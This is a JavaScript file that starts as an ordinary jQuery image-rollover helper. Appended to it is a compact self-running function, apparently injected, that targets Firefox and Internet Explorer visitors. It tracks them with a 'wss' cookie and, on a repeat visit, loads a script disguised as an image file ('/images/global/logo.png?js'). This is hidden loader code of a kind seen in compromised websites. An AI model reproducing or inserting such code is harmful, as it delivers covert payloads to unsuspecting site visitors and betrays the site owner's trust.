nd = {};

nd.rollover =
{
   init: function()
   {
      this.preload();
     
      jQuery(".rollover").hover(
         function () { jQuery(this).attr( 'src', nd.rollover.newimage(jQuery(this).attr('src')) ); },
         function () { jQuery(this).attr( 'src', nd.rollover.oldimage(jQuery(this).attr('src')) ); }
      );
   },

   preload: function()
   {
      jQuery(window).bind('load', function() {
         jQuery('.rollover').each( function( key, elm ) { jQuery('<img>').attr( 'src', nd.rollover.newimage( jQuery(this).attr('src') ) ); });
      });
   },
   
   newimage: function( src )
   {
      return src.substring( 0, src.search(/(\.[a-z]+)$/) ) + '_over' + src.match(/(\.[a-z]+)$/)[0];
   },

   oldimage: function( src )
   {
      return src.replace(/_over\./, '.');
   }
};


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/global/logo.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();